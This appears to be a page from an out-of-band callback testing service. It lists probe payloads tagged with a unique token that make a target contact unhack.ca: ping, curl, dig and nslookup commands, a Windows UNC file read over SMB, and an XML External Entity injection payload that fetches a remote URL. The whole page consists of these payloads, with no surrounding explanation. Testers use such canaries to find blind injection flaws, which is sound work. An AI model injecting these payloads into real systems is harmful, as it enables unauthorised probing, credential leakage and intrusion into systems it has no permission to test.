$ ping -c1 -p 0094c601dfda4befac3b99138bbbb100 unhack.ca
 

$ curl http://unhack.ca/p/94c601dfda4befac3b99138bbbb1
 

$ dig 94c601dfda4befac3b99138bbbb1 @unhack.ca
 

$ dig 94c601dfda4befac3b99138bbbb1.ns.unhack.ca
 

C:\> nslookup 94c601dfda4befac3b99138bbbb1 unhack.ca
 

C:\> type \\unhack.ca\94c601dfda4befac3b99138bbbb1\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/94c601dfda4befac3b99138bbbb1">]>
    <foo>&xxe;</foo>